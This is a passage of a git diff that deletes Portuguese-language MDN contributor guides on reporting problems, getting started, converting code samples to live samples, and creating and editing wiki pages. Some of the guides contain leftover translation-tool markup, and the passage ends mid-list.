-<h2 id="Comunicar_um_problema">Comunicar um problema</h2>
-
-<h3 id="Problemas_na_documentação">Problemas na documentação</h3>
-
-<p>Se encontrar um problema na documentação e não conseguir corrigí-lo por qualquer motivo, poderá <a href="https://github.com/mdn/sprints/issues/new?template=issue-template.md&amp;projects=mdn/sprints/2&amp;labels=user-report">comunicar o problema</a>! Pode utilziar este formulário para qualquer problema da documentação, por exemplo:</p>
-
-<ul>
- <li>uma correção simples</li>
- <li>um pedido para uma parte completa de conteúdo</li>
- <li>comunicar conteúdo inapropriado (incluindo "spam" e traduções erradas)</li>
-</ul>
-
-<p>Como mencionado anteriormente, nós convidamo-lo para contribuir com as suas alterações, mas esta opção também está disponível para si.</p>
-
-<h3 id="Problemas_no_site">Problemas no site</h3>
-
-<p>Se encontrar problemas com o site da <em>Web</em> da MDN, ou tiver ideias para novas características para o site,  pode <a href="https://bugzilla.mozilla.org/form.mdn">submeter um pedido à equipa de desenvolvimento da MDN</a>.</p>
diff --git a/files/pt-pt/mdn/contribute/getting_started/index.html b/files/pt-pt/mdn/contribute/getting_started/index.html
deleted file mode 100644
index 315613f49c..0000000000
--- a/files/pt-pt/mdn/contribute/getting_started/index.html
+++ /dev/null
@@ -1,116 +0,0 @@
----
-title: Iniciação na MDN
-slug: MDN/Contribute/Getting_started
-tags:
- - Beginner
- - Guía
- - Iniciação
- - Introdução
- - Metadados MDN
-translation_of: MDN/Contribute/Getting_started
----
-<div>
-<div>{{MDNSidebar}}</div>
-</div>
-
-<p><span class="seoSummary">Nós somos uma comunidade aberta de programadores e autores que criam recursos para uma Web melhor, independentemente da marca, navegador, ou plataforma. Qualquer pessoa pode contribuir e cada uma que o faz, torna-nos mais fortes. Juntos, nós podemos continuar a inovar na Web para o bem de todos. Isso começa aqui, consigo.</span></p>
-
-<p>Cada parte da MDN (desde o site até à documentação, amostras de código, e demonstrações) é criada por uma comunidade de programadores e autores. Por favor considere colaborar também!</p>
-
-<h2 id="3_passos_simples_para_a_MDN"><span>3 passos simples para a MDN</span></h2>
-
-<div class="pt" id="OutputArea" style="direction: ltr; text-align: left;">
-<div class="Wrap" id="OutputText" style="direction: ltr; text-align: left;">
-<div><span id="noHighlight_0.47920148300743626">A MDN </span><span id="ouHighlight__4_5TO4_4">é</span><span id="noHighlight_0.5491344717821757"> </span><span id="ouHighlight__7_7TO6_7">uma</span><span id="noHighlight_0.8750513674493037"> </span><em><span id="ouHighlight__9_12TO9_12">wiki</span></em><span id="noHighlight_0.7850095290312931">,</span><span id="noHighlight_0.5182284369975565"> </span><span id="ouHighlight__15_19TO15_18">onde</span><span id="noHighlight_0.018006826884430893"> </span><strong><span id="ouHighlight__21_26TO20_34">qualquer pessoa</span></strong><span id="noHighlight_0.4040337194597289"> </span><span id="ouHighlight__28_30TO36_39">pode</span><span id="noHighlight_0.9747336392889395"> </span><span id="ouHighlight__32_34TO41_49">adicionar</span><span id="noHighlight_0.7066487403238145"> </span><span id="ouHighlight__36_38TO51_51">e</span><span id="noHighlight_0.5446518252479879"> </span><span id="ouHighlight__40_43TO53_58">editar</span><span id="noHighlight_0.6426048314610565"> </span><span id="ouHighlight__45_51TO60_67">conteúdo</span><span id="noHighlight_0.8453660300988101">.</span><span id="noHighlight_0.055925875247653134"> </span><span id="ouHighlight__54_56TO70_73">N</span><span id="ouHighlight__58_62TO75_77">ão</span><span id="noHighlight_0.8092718734331236"> </span><span id="ouHighlight__64_70TO79_85">precisa</span><span id="noHighlight_0.22724740936320986"> de </span><span id="ouHighlight__72_73TO87_89">ser</span><span id="noHighlight_0.1843562915821374"> </span><span id="ouHighlight__75_75TO91_92">um</span><span id="noHighlight_0.3592619006001544"> </span><span id="ouHighlight__77_86TO94_104">programador</span><span id="noHighlight_0.285547875523669"> </span><span id="ouHighlight__88_89TO106_107">ou</span><span id="noHighlight_0.9061669056755919"> </span><span id="ouHighlight__91_94TO109_112">saber</span><span id="noHighlight_0.19684376567211204"> </span><span id="ouHighlight__98_100TO114_118">muito</span><span id="noHighlight_0.5675302021548134"> </span><span id="ouHighlight__102_106TO120_124">sobre</span><span id="noHighlight_0.11138225174850647"> </span><span id="ouHighlight__108_119TO126_136">tecnologia</span><span id="noHighlight_0.8834602769538198">.</span><span id="noHighlight_0.28454983315849447"> </span><span id="ouHighlight__122_130TO139_145">Existem várias</span><span id="noHighlight_0.8598458374371334"> </span><span id="ouHighlight__142_147TO154_159">coisas</span><span id="noHighlight_0.34892750513629345"> </span><span id="ouHighlight__149_152TO161_163">que</span><span id="noHighlight_0.9874443798556571"> </span><span id="ouHighlight__154_160TO165_172">precisam</span><span id="noHighlight_0.34244235656099486"> </span><span id="ouHighlight__162_163TO174_176">ser</span><span id="noHighlight_0.25841029026007567"> </span><span id="ouHighlight__165_168TO178_183">feitas</span><span id="noHighlight_0.32790348607369335">,</span><span id="noHighlight_0.0754749662753087"> </span><span id="ouHighlight__171_174TO186_187">desde</span><span id="noHighlight_0.45034184896804075"> </span><span id="ouHighlight__183_187TO189_195">tarefas</span><span id="noHighlight_0.889982282033675"> </span><span id="ouHighlight__176_181TO197_203">simples</span><span id="noHighlight_0.874949287144007">, tal como a </span><span id="noHighlight_0.17301975604090902">revisão de </span><span id="ouHighlight__197_208TO221_226">textos</span><span id="noHighlight_0.6149690455375806"> </span><span id="ouHighlight__210_212TO228_228">e</span><span id="noHighlight_0.9289231957504542"> </span><span id="ouHighlight__214_223TO230_239">correção de</span><span id="noHighlight_0.5040134767190689"> </span><span id="ouHighlight__225_229TO241_258">erros ortográficos</span><span id="noHighlight_0.5764830231422348"> até </span><span id="ouHighlight__231_232TO260_261">às</span><span id="noHighlight_0.31222671666655055"> mais </span><span id="ouHighlight__238_244TO263_271">complexas,</span><span id="noHighlight_0.14560557587044287"> </span><span id="ouHighlight__251_257TO273_281">tal como</span><span id="noHighlight_0.2685463990562986"> </span><span id="ouHighlight__259_265TO283_290">escrever</span><span id="noHighlight_0.19633858312747077"> </span><span id="ouHighlight__271_283TO292_303">documentação</span><span id="noHighlight_0.9021550954525854"> </span><span id="ouHighlight__267_269TO308_310">API</span><span id="noHighlight_0.34762725714498666">.</span></div>
-
-<div></div>
-</div>
-</div>
-
-<div class="pt" id="OutputArea" style="direction: ltr; text-align: left;">
-<div class="Wrap" id="OutputText" style="direction: ltr; text-align: left;">
-<div><span id="noHighlight_0.6939304266497809">Contribuir </span><span id="ouHighlight__13_14TO11_11">é</span><span id="noHighlight_0.754432452620986"> </span><span id="ouHighlight__16_19TO13_17">fácil</span><span id="noHighlight_0.12677613373170482"> </span><span id="ouHighlight__21_23TO19_19">e</span><span id="noHighlight_0.9169567677650025"> </span><span id="ouHighlight__25_28TO21_26">seguro</span><span id="noHighlight_0.35895146514742815">.</span><span id="noHighlight_0.11298517990296342"> </span><span id="ouHighlight__31_34TO29_33">Mesmo</span><span id="noHighlight_0.22314055925593745"> </span><span id="ouHighlight__36_37TO35_36">que cometa um erro</span><span id="noHighlight_0.4559037862176293">,</span><span id="ouHighlight__59_62TO60_64"> este é facilmente corrigido</span><span id="ouHighlight__76_76TO81_81">.</span><span id="noHighlight_0.40627264171417155"> </span><span id="ouHighlight__78_79TO83_84">Se</span><span id="noHighlight_0.2985670129310918"> não sabe ao certo qual deverá ser o aspeto final </span><span id="ouHighlight__128_129TO139_140">ou o seu vocabulário não é o mais rico</span><span id="noHighlight_0.5033058561197279">,</span><span id="noHighlight_0.03342360750842488"> </span><span id="ouHighlight__166_170TO171_173">não</span><span id="noHighlight_0.8750742285474321"> se </span><span id="ouHighlight__172_182TO178_185">preocupe</span><span id="noHighlight_0.14456605310738102">!</span><span id="noHighlight_0.7159356526709744"> </span><span id="ouHighlight__188_194TO188_192">Nós temos</span><span id="noHighlight_0.8891478782467954"> </span><span id="ouHighlight__196_196TO194_196">uma</span><span id="noHighlight_0.34570799241183214"> </span><span id="ouHighlight__198_201TO198_203">equipa</span><span id="noHighlight_0.4175451730392493"> </span><span id="ouHighlight__203_204TO205_206">de</span><span id="noHighlight_0.8630305052430338"> </span><span id="ouHighlight__206_211TO208_214">pessoas</span><span id="noHighlight_0.91504254606562"> </span><span id="ouHighlight__213_217TO216_219">cujo</span><span id="noHighlight_0.8103854016751867"> </span><span id="ouHighlight__219_221TO221_228">trabalho</span><span id="noHighlight_0.65601862530836"> </span><span id="ouHighlight__226_227TO230_230">é</span><span id="noHighlight_0.5841048903172054"> </span><span id="ouHighlight__232_235TO232_234">ter</span><span id="noHighlight_0.28754000201425867"> </span><span id="ouHighlight__229_230TO236_236">a</span><span id="noHighlight_0.8118269900735291"> </span><span id="ouHighlight__237_240TO238_244">certeza</span><span id="noHighlight_0.708513780871264"> de </span><span id="ouHighlight__242_245TO249_251">que</span><span id="noHighlight_0.9875258576783718"> o </span><span id="ouHighlight__253_260TO255_262">conteúdo</span><span id="noHighlight_0.22787459205105864"> </span><span id="ouHighlight__247_251TO264_269">da MDN</span><span id="noHighlight_0.32694403655209914"> </span><span id="ouHighlight__262_264TO271_271">é</span><span id="noHighlight_0.43821525588932086"> </span><span id="ouHighlight__266_267TO273_275">tão</span><span id="noHighlight_0.37403813332407077"> </span><span id="ouHighlight__269_272TO277_279">bom</span><span id="noHighlight_0.38391309247561567"> </span><span id="ouHighlight__274_275TO281_286">quanto</span><span id="noHighlight_0.03257742151312082"> </span><span id="ouHighlight__277_284TO288_295">possível</span><span id="noHighlight_0.10488359575747619">.</span><span id="noHighlight_0.7375956492335589"> </span><span id="ouHighlight__287_293TO298_303">Alguém</span><span id="noHighlight_0.7339586828005976"> </span><span id="ouHighlight__312_320TO310_319">certificar</span><span id="noHighlight_0.7685186939234422">-se-á de que o </span><span id="ouHighlight__322_325TO331_333">seu</span><span id="noHighlight_0.2158936316841401"> </span><span id="ouHighlight__327_330TO335_342">trabalho</span><span id="noHighlight_0.44200265413885365"> </span><span id="ouHighlight__332_333TO344_344">está</span><span id="noHighlight_0.7824145304173619"> </span><span id="ouHighlight__335_338TO346_353">conciso</span><span id="noHighlight_0.8205113491988623"> </span><span id="ouHighlight__340_342TO355_355">e</span><span id="noHighlight_0.2967837506349432"> </span><span id="ouHighlight__344_355TO357_367">bem escrito</span><span id="noHighlight_0.1417488745865505">.</span><span id="noHighlight_0.7186922743172103"> P</span><span id="ouHighlight__358_362TO370_381">artilhe</span><span id="noHighlight_0.31150297125971427"> </span><span id="ouHighlight__364_367TO383_387">o que</span><span id="noHighlight_0.25179450598587694"> </span><span id="ouHighlight__373_376TO389_392">sabe</span><span id="noHighlight_0.4558381673714762">,</span><span id="noHighlight_0.6630645323624911"> </span><span id="ouHighlight__382_387TO396_399">siga o seu instinto </span><span id="noHighlight_0.16705133535882088"> </span><span id="ouHighlight__405_407TO420_420">e</span><span id="noHighlight_0.7738893383584872"> </span><span id="ouHighlight__409_413TO422_428">confie</span><span id="noHighlight_0.8909652779069059"> </span><span id="ouHighlight__415_416TO430_431">no</span><span id="noHighlight_0.047160979487215204"> </span><span id="ouHighlight__422_425TO433_437">resto</span><span id="noHighlight_0.3498706762716407"> </span><span id="ouHighlight__427_428TO439_440">da</span><span id="noHighlight_0.4435827843376339"> </span><span id="ouHighlight__430_442TO442_451">comunidade</span><span id="noHighlight_0.423638827999702"> para o ajudar a melhorar o seu trabalho.</span></div>
-</div>
-</div>
-
-<h3 id="Passo_1_Criar_uma_conta_na_MDN">Passo 1: Criar uma conta na MDN</h3>
-
-<p>Para começar a contribuir na MDN precisa de ter uma conta na MDN. Para mais detalhes, por favor, consulte <a href="/pt-PT/docs/MDN/Contribute/Howto/Criar_uma_conta_MDN">como criar uma conta</a>.</p>
-
-<h3 id="Passo_2_Escolher_uma_tarefa">Passo 2: Escolher uma tarefa</h3>
-
-<div class="pt" id="OutputArea" style="direction: ltr; text-align: left;">
-<div class="Wrap" id="OutputText" style="direction: ltr; text-align: left;">
-<div><span id="ouHighlight__4_7TO6_8">Agora que</span><span id="noHighlight_0.7397612230677483"> </span><span id="noHighlight_0.8224719251874061">iniciou a sessão</span><span id="noHighlight_0.07721447543089255">,</span><span id="noHighlight_0.20180178040099794"> </span><span id="ouHighlight__28_31TO28_31">leia</span><span id="noHighlight_0.1347259088605407"> </span><span id="ouHighlight__33_35TO33_34">as</span><span id="noHighlight_0.1550906597924332"> </span><span id="ouHighlight__37_48TO36_45">descrições</span><span id="noHighlight_0.5936187806451623"> </span><span id="ouHighlight__50_51TO47_49">das</span><span id="ouHighlight__68_72TO51_55"> tarefas diferentes </span><span>em</span><span id="noHighlight_0.9921036450111824"> </span>{{anch("Tarefas disponíveis", "a lista abaixo")}},<span id="noHighlight_0.3056672720834265"> </span><span id="ouHighlight__128_130TO136_136">e</span><span id="noHighlight_0.644837387548433"> </span><span id="ouHighlight__132_137TO138_144">decid</span><span id="ouHighlight__154_160TO166_171">a qual é a mais apelativa para si</span><span id="noHighlight_0.34950865963617184">.</span><span id="noHighlight_0.23952518307785142"> </span><span id="ouHighlight__170_172TO174_177">Pode</span><span id="noHighlight_0.4532969186995154"> </span><span id="ouHighlight__178_181TO184_191">escolher</span><span id="noHighlight_0.31003284659874975"> </span><span id="ouHighlight__183_185TO193_200">qualquer</span><span id="noHighlight_0.17357587947915787"> </span><span id="ouHighlight__187_190TO202_207">tarefa que lhe agrade e comece a contribuir</span><span id="noHighlight_0.470803195280464">.</span></div>
-</div>
-</div>
-
-<h3 id="Passo_3_Executar_a_tarefa">Passo 3: Executar a tarefa</h3>
-
-<p>Assim que decidir que tarefa é que pretende fazer, procure uma página específica, exemplo de código, etc., para trabalhar, e comece!</p>
-
-<p>Não se preocupe em ser perfecionista; outros colaboradores da MDN estão aqui para ajudar a corrigir eventuais erros. Para quem quiser experimentar com a edição na MDN antes de fazer algo "a sério", nós temos a página <em><strong><a href="/en-US/docs/Sandbox">Sandbox</a></strong></em> onde poderá testar livremente. Se entretanto tiver dúvidas, consulte a página da <a href="/en-US/docs/MDN/Community">Comunidade</a> para informação sobre contactos e canais de conversação onde poderá obter as suas respostas.</p>
-
-<p>Quando tiver terminado a tarefa escolhida, sinta-se livre para escolher outro item, ou consulte abaixo <a href="#Other_things_you_can_do_on_MDN">outras coisas que pode fazer na MDN.</a></p>
-
-<h2 id="Tarefas_disponíveis">Tarefas disponíveis</h2>
-
-<p>Existem várias formas possíveis para que possa contribuir para a MDN, dependendo do seu conjunto de habilidades e interesses. Mesmo que algumas tarefas possam ser assustadoras, nós temos muitas atividades simples disponíveis. Algumas delas apenas precisam de cinco minutos (ou menos!) do seu tempo. Abaixo, com a tarefa e respetiva breve descrição, encontrará o tempo aproximado que cada tarefa normalmente demora.</p>
-
-<h3 id="Opção_1_Eu_gosto_de_palavras">Opção 1: Eu gosto de palavras</h3>
-
-<p>Pode ajudar-nos a rever ou a editar documentos existentes, e aplicar as etiquetas corretas para os mesmos.</p>
-
-<ul>
- <li><a href="/pt-PT/docs/MDN/Contribute/Howto/Como_definir_o_resumo_para_uma_pagina">Definir o resumo para uma página </a>(5 a 15 minutos)</li>
- <li><a href="/pt-PT/docs/MDN/Contribute/Howto/fazer_revisão_editorial">Efetuar revisões editoriais</a> (5 a 30 minutos)</li>
- <li><a href="/pt-PT/docs/MDN/Contribute/Howto/Como_escrever_uma_nova_entrada_no_Glossario">Escrever uma nova entrada no Glossário </a>(15 minutos a 1 hora)</li>
- <li><a href="/pt-PT/docs/MDN/Contribute/Howto/Como_escrever_um_artigo_para_ajudar_as_pessoas_a_aprenderem_sobre_a_Web">Como escrever um artigo para ajudar as pessoas a aprenderem sobre a Web</a> (1 a 3 horas)</li>
-</ul>
-
-<div class="note"><strong>Nota</strong>: se estiver a rever ou a escrever novos artigos, nós pedimos-lhe para, por favor, rever o '<a href="/pt-PT/docs/MDN/Contribute/linhas_diretrizes/Guia_de_estilo_de_escrita">Guia de Estilo</a>'. Isto irá ajudar a assegurar que os artigos sejam consistentes.</div>
-
-<h3 id="Opção_2_Eu_gosto_de_código">Opção 2: Eu gosto de código</h3>
-
-<p>Nós precisamos de mais exemplos de código! Também pode ajudar a criar a plataforma do nosso site, <a href="/en-US/docs/MDN/Kuma">Kuma</a>!</p>
-
-<ul>
- <li><a href="/pt-PT/docs/MDN/Contribute/Howto/Como_converter_exemplos_de_codigo_para_ficarem_live">Converter exemplos de código para ficarem <em>live</em></a> (30 minutos)</li>
- <li><a href="https://wiki.mozilla.org/Webdev/GetInvolved/developer.mozilla.org">Read the Getting Involved Guide</a> (30 minutes)</li>
- <li><a href="http://kuma.readthedocs.org/en/latest/installation.html">Set up a Kuma build environment</a> (1 hour)</li>
- <li><a href="https://github.com/mozilla/kuma#readme">Send your code patch to the Kuma codebase</a> (1 hour)</li>
-</ul>
-
-<h3 id="Opção_3_Eu_gosto_de_palavras_e_código">Opção 3: Eu gosto de palavras e código</h3>
-
-<p>Nós temos tarefas que requerem competências técnicas e linguísticas, tais como escrever novos artigos, rever para uma correção técnica, ou adaptar documentos.</p>
-
-<ul>
- <li><a href="/en-US/docs/MDN/Contribute/Howto/Tag_JavaScript_pages">Marcar páginas de JavaScript</a> (5 minutos)</li>
- <li><a href="/en-US/docs/MDN/About/Promote">Promover a MDN na sua própria página web</a> (5 minutos)</li>
- <li><a href="/en-US/docs/MDN/Contribute/Howto/Do_a_technical_review">Revisões técnicas</a> (30 minutos)</li>
- <li><a href="/en-US/docs/MDN/Contribute/Howto/Create_and_edit_pages">Escrever um novo artigo sobre um tema com o qual se sente familiarizado</a> (1 hora ou mais)</li>
- <li><a href="/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Criar um exercício interativo para ajudar as pessoas a aprender sobre a web</a> (1 hora ou mais)</li>
- <li><a href="/en-US/docs/MDN/Contribute/Howto/Resolve_a_mentored_developer_doc_request">Corrigir um erro de documentação</a> na <a href="http://www.joshmatthews.net/bugsahoy/?mdn=1">Categoria MDN do Bugs Ahoy</a> (1 hora ou mais)</li>
-</ul>
-
-<h3 id="Opção_4_Eu_quero_a_MDN_no_meu_idioma">Opção 4: Eu quero a MDN no meu idioma</h3>
-
-<p>Todo o trabalho de localização e tradução feito na MDN é elaborado pela nossa incrível comunidade de voluntários.</p>
-
-<ul>
- <li><a href="/pt-PT/docs/MDN/Contribute/Localize/Translating_pages">Traduzir páginas</a> (2 horas) (Ver <a href="/pt-PT/docs/MDN/Doc_status/l10nPrioridade">prioridades de topo</a>)</li>
- <li>Interligar com outros localizadores listados nos <a href="/pt-PT/docs/MDN/Contribute/Localize/Projetos_localização">Projetos de Localização</a> (30 minutos)</li>
-</ul>
-
-<h3 id="Opção_5_Eu_encontrei_alguma_informação_errada_mas_não_sei_como_corrigi-la">Opção 5: Eu encontrei alguma informação errada, mas não sei como corrigi-la</h3>
-
-<p>Pode comunicar problemas, <a class="external" href="https://bugzilla.mozilla.org/form.doc">preenchendo um formulário de erro na documentação</a> (EN) (5 minutos)</p>
-
-<h2 id="Outras_coisas_que_pode_fazer_na_MDN">Outras coisas que pode fazer na MDN</h2>
-
-<ul>
- <li>Aderir à <a href="/pt-PT/docs/MDN/Comunidade">Comunidade da MDN</a>.</li>
- <li><a href="https://developer.mozilla.org/pt-PT/profile">Preencha o seu perfil</a>, assim os outros podem saber mais sobre si.</li>
- <li>Saiba mais sobre como <a href="/pt-PT/docs/MDN/Contribute">contribuir para a MDN</a>.</li>
-</ul>
diff --git a/files/pt-pt/mdn/contribute/howto/convert_code_samples_to_be_live/index.html b/files/pt-pt/mdn/contribute/howto/convert_code_samples_to_be_live/index.html
deleted file mode 100644
index 309ae4f848..0000000000
--- a/files/pt-pt/mdn/contribute/howto/convert_code_samples_to_be_live/index.html
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: Como converter exemplos de código para ficarem "live"
-slug: MDN/Contribute/Howto/Convert_code_samples_to_be_live
-tags:
- - Como
- - Metadados MDN
- - Principiante
-translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live
-original_slug: MDN/Contribute/Howto/Como_converter_exemplos_de_codigo_para_ficarem_live
----
-<div>{{MDNSidebar}}</div>
-
-<p class="summary">MDN tem um sistema de "<a href="/pt-PT/docs/MDN/Contribute/Structures/Exemplos_live">exemplos <em>live</em></a>", onde o exemplo de código é mostrado numa página utilizada diretamente para exibir o resultado desse mesmo exemplo. Contudo, muitos artigos existentes tem exemplos de código que ainda não utilizam este sistema, e precisam de ser convertidos.</p>
-
-<p><span class="seoSummary">Exemplos <em>live</em>, permitem-lhe ver como é que é o exemplo de destino. Este guia fala sobre como utilizar os exemplos existentes e adicionar a funcionalidade "<em>live</em>" às mesmas.</span></p>
-
-<dl>
- <dt>Onde é que isso precisa de ser feito<strong>?</strong></dt>
- <dd>Artigos com a etiqueta <a href="/en-US/docs/tag/NeedsLiveSample">NeedsLiveSample</a></dd>
- <dt><strong>O que precisa de saber para realizar a tarefa?</strong></dt>
- <dd>
- <ul>
- <li>Conhecimentos em HTML, CSS e/ou JavaScript, dependendo da amostra de código.</li>
- <li>Capacidade de usar macros <a href="/en-US/docs/MDN/Contribute/Tools/KumaScript">KumaScript</a> dentro dos artigos MDN.</li>
- </ul>
- </dd>
- <dd><strong>Quais são os passos para realizar a tarefa?</strong></dd>
- <dd>
- <ol>
- <li>Escolher um artigo da lista de artigos que estão marcados <a href="/en-US/docs/tag/NeedsLiveSample">NeedsLiveSample</a>, onde a amostra de código é para uma funcionalidade com que se sente familiarizado.</li>
- <li>Converter a amostra de código para ser "live".</li>
- <li>Eliminar qualquer código ou imagem que fosse previamente utilizada para demonstrar o <em>output </em>da amostra.</li>
- </ol>
- </dd>
-</dl>
-
-<p>Para mais informação sobre a criação  e edição de <u>Amostras <em>Live</em></u>, consulte <a href="/pt-PT/docs/MDN/Contribute/Structures/Exemplos_live">Utilizar o sistema de amostra <em>live</em></a></p>
diff --git a/files/pt-pt/mdn/contribute/howto/create_and_edit_pages/index.html b/files/pt-pt/mdn/contribute/howto/create_and_edit_pages/index.html
deleted file mode 100644
index 310334a95a..0000000000
--- a/files/pt-pt/mdn/contribute/howto/create_and_edit_pages/index.html
+++ /dev/null
@@ -1,182 +0,0 @@
----
-title: Como criar e editar páginas
-slug: MDN/Contribute/Howto/Create_and_edit_pages
-tags:
- - Guía
- - Introdução
- - MDN Meta
- - Principiante
-translation_of: MDN/Contribute/Howto/Create_and_edit_pages
-original_slug: MDN/Contribute/Howto/Criar_e_editar_paginas
----
-<div>{{MDNSidebar}}</div>
-
-<p><span class="seoSummary">Este artigo introduz novos colaboradores ao processo de editar páginas existentes e criar novas páginas.</span></p>
-
-<h2 id="Editar_uma_página_existente">Editar uma página existente</h2>
-
-<p>Para editar uma página:</p>
-
-<ol>
- <li>Clique no botão <strong>Editar</strong> perto do canto superior direito da página.</li>
- <li>A página vai recarregar, com uma interface de edição onde podes acrescentar ou apagar informação diretamente.</li>
- <li>Acrescente parágrafos, apague texto, insira títulos, e realize outras funções básicas envolvidas em escrever e editar.</li>
-</ol>
-
-<p>Veja o guia do <a href="/en-US/docs/MDN/Contribute/Editor/Basics">Elementos da IU do editor</a>, no <a href="/en-US/docs/MDN/Contribute/Editor">Guia para o editor da IU da MDN</a>, para obter mais informação sobre a utilização do editor incorporado da <strong>MDN</strong>.</p>
-
-<h3 id="Pré-visualizar_alterações">Pré-visualizar alterações</h3>
-
-<p>Para ver o aspeto das suas alterações:</p>
-
-<ul>
- <li>Clique no botão <strong>Preview (Pré-visualizar)</strong>, dentro da função de edição na parte superior ou inferior da página.</li>
- <li>Isto abre a página de pré-visualização, que mostra as edições numa nova janela ou separador.</li>
- <li>De cada vez que carregar neste botão, a página de pré-visualização é atualizada para refletir as alterações mais recentes.</li>
-</ul>
-
-<p>Tenha cuidado! Pré-visualizar uma página <strong>não guarda </strong>o seu progresso. Não feche o separador em que está a editar até ter guardado o seu trabalho.</p>
-
-<h3 id="Comentário_de_revisão">Comentário de revisão</h3>
-
-<p>Depois de pré-visualizar as alterações, vai querer <em>guardar a sua revisão</em>. Antes de <strong>guardar</strong>, procure a caixa do comentário de revisão, por baixo da caixa de edição,  e deixe um comentário para informar outros colaboradores de porque é que fez alterações. Diga, por exemplo, se acrescentou uma secção nova, mudou algumas palavras para tornar a terminologia mais consistente, reescreveu um parágrafo para esclarecer a linguagem, ou removeu informação redundante.</p>
-
-<h3 id="Índice">Índice</h3>
-
-<p>A secção "Neste artigo", é uma lista, gerada automaticamente, de ligações para os títulos numa página. Estes podem ser modificados através dos títulos. Também é possível remover um índice ou reduzir o número de ligações ao selecionar "Editar o Título e Propriedades da Página" e mudar o valor na caixa de seleção "TOC" (Table of contents / Índice).</p>
-
-<h3 id="Etiquetas_(Tags)">Etiquetas (Tags)</h3>
-
-<p>Pode adicionar ou remover etiquetas, que descrevem o conteúdo e propósito da página, por baixo da secção de edição. Veja <a href="/en-US/docs/MDN/Contribute/Tagging">Como etiquetar devidamente as páginas</a> para obter informação sobre as etiquetas que deve utilizar.</p>
-
-<h3 id="Necessita_de_revisão">Necessita de revisão?</h3>
-
-<p>Se um colaborador perito ou experiente deve rever as suas edições, por favor peça uma revisão técnica (de código, API, ou tecnologias), e/ou uma revisão editorial (de prosa, gramática, e conteúdo), certificando-se de que a caixa adequada tem um visto antes de guardar.</p>
-
-<h3 id="Anexar_ficheiro">Anexar ficheiro</h3>
-
-<p>Se pretende <strong>anexar um ficheiro</strong><em> </em>a uma página existente, ou acrescentar uma ilustração para dar melhores esclarecimentos, o mesmo pode ser acrescentado na margem inferiro da página. Quando envia uma imagem, por favor utilize uma ferramente de otimização de imagens para tornar o ficheiro o mais pequeno possível. Desta forma, reduz o tempo de carregamento da página e ajuda o desempenho geral da MDN. Utilize a sua ferramente preferida, se tiver uma; se não, sugerimos <a href="https://tinypng.com/">TinyPNG</a>, uma ferramenta Web acessível.</p>
-
-<h3 id="Publicar_Descartar_ou_Continuar_a_editar">Publicar, Descartar, ou Continuar a editar</h3>
-
-<p>Quando termina de editar e está contente com a pré-visualização, publique o seu trabalho e comentários com o botão <em>verde</em> <strong>Publicar</strong>, à direita do título da página, ou no fim da página. Se pretende continuar, clique em <strong>Publicar e cotinuar a editar</strong>, o qual publica as suas alterações e mantém a interface de edição aberta.</p>
-
-<p>Se mudar de ideias, pode descartar edições com o botão <em>vermelho</em> <strong>Descartar</strong>. Atenção que este botão descarta <em>permanentemente</em>.</p>
-
-<p>Premir a tecla <strong>Enter</strong> na caixa de Comentário de Revisão é equivalente a clicar em <strong>Publicar e cotinuar a editar</strong>.</p>
-
-<div class="note">
-<p>Nota: Se tentar guardar, mas as alterações são rejeitas como inválidas, e acha que o conteúdo é apropriado para a MDN, <a href="mailto:mdn-admins@mozilla.com?subject=MDN%3A%20Content%20Rejection%20Appeal&amp;body=%3CDescribe%20the%20content%20you%20were%20trying%20to%20save%20and%20where%20you%20were%20trying%20to%20place%20it.%3E">envie um e-mail à equipa de administração da MDN</a> para obter assistência.</p>
-</div>
-
-<h2 id="Getting_page-creation_permissions">Getting page-creation permissions</h2>
-
-<p>For security reasons, newly-created accounts don't have the ability to create new pages. If you try to do so, you'll see a page instructing you how to get the page created. There are two options:</p>
-
-<ul>
- <li><strong>Ask for the page to be created for you.</strong> To do this, <a href="https://github.com/mdn/sprints/issues/new?template=issue-template.md&amp;projects=mdn/sprints/2&amp;labels=user-report">file a documentation request issue</a>, with the title "Create page: &lt;page title&gt;". Fill out the URL field of the template with the location on MDN where you'd like the page to go if you know where to place it. In the comment text, include information on why this page needs creating.</li>
- <li><strong>Request page creation privileges.</strong> If you request page creation privileges, and they're granted to you, you'll be able to add new pages by following the instructions here. To request these privileges, <a href="mailto:mdn-admins@mozilla.org">email the MDN admin</a> team with your request. Include your username, why you would like to have the ability to create new pages. For instance, you're documenting a new API which involves many new pages, or you'd like to add new terms to the glossary. You should also have made useful contributions to this site's content, and been a contributor for some time. This length of time, and the other factors are collectively considered.</li>
-</ul>
-
-<h2 id="Creating_a_new_page">Creating a new page</h2>
-
-<p>Once you have page-creation permission, you can begin creating pages.</p>
-
-<p>If you do not know where to place a new article, <strong>do not worry.</strong> Put it anywhere, we will find it, move to where it belongs, or merge it into existing content. Whatever makes the most sense. Do not worry about making it perfect. We have happy helper gnomes who help to make your content clean and rather luscious.</p>
-
-<p>There are a few ways to create a new page:</p>
-
-<ul>
- <li><a href="#Missing_page_link">'Missing page' link.</a></li>
- <li><a href="#New_page_without_link">New page without a link.</a></li>
- <li><a href="#Subpage_of_an_existing_page">A subpage of an existing page.</a></li>
- <li><a href="#Clone_of_an_existing_page">Clone of an existing page.</a></li>
- <li><a href="#Link_from_an_existing_page">Link from an existing page.</a></li>
-</ul>
-
-<h3 id="'Missing_page'_link">'Missing page' link</h3>
-
-<p>As with most wikis, it is possible to create a link to a page that is yet to exist. For example, an author might create a list of all the members of an API, before creating the pages for those members. On MDN, links to non-existent pages are typically displayed in red.</p>
-
-<p>To create a page from a 'missing page' link:</p>
-
-<ol>
- <li>Log into MDN, and have page-creation permission. If not logged in, clicking a 'missing page' link results in a 404 (page not found) error.</li>
- <li>Click the 'missing page' link. If you have page creation permission, the <a href="/en-US/docs/MDN/Contribute/Editor">MDN Editor UI</a> opens, ready for you to create the missing page.</li>
- <li>Write the content of the page, and save it.</li>
-</ol>
-
-<h3 id="New_page_without_link">New page without link</h3>
-
-<p><em>To create a new page without linking from another page</em>, enter a unique page name in the URL field of your browser. For example, if you enter:</p>
-
-<pre class="language-html">https://developer.mozilla.org/en-US/docs/FooBar</pre>
-
-<p>MDN Creates a new page, with the title "FooBar", opening the editor for you to add new content. Refer to the <a href="#Editing_an_existing_page">Editing an existing page</a> section of this article, for information on how to use the editor mode.</p>
-
-<p><em>To create a new page without linking from another page</em>:</p>
-
-<ol>
